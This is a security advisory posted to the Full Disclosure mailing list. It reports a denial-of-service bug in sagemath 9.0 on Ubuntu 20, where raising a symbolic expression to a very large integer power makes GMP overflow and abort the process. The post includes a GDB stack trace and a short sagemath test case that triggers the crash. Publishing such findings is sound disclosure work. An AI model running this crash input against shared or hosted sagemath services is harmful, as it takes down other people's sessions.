[FD] sagemath denial of service with abort() in gmp: overflow in mpz type

[Georgi Guninski <gguninski@xxxxxxxxx>]

sagemath 9.0 and reportedly later on ubuntu 20.

sagemath gives access to the python interpreter,
so code execution is trivial.

We give DoS attacks, which terminates the sagemath process
with abort(), when raising symbolic expression to large integer power.

We get abort() with stack:

gmp: overflow in mpz type

#6  0x00007f55c83ee72e in __GI_abort () at
/build/glibc-SzIz7B/glibc-2.31/stdlib/abort.c:79
#7  0x00007f55c56e0d20 in __gmpz_realloc ()
#8  0x00007f55c56dd2b0 in __gmpz_n_pow_ui ()
#9  0x0000000000000000 in GiNaC::numeric::power(long) const ()
#10 0x0000000000000000 in GiNaC::numeric::pow_intexp(GiNaC::numeric
const&) const ()

The non-minimal testcase
===
#sagemath code, copyright Georgi Guninski

def binnk3u(n,k):  return ( (n/k)**(k))
n1=(2*10**3);d0=29004853178239;n0=SR(log(n1));
tt=binnk3u(n0+d0-1,d0);
print("passed :(")
===
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/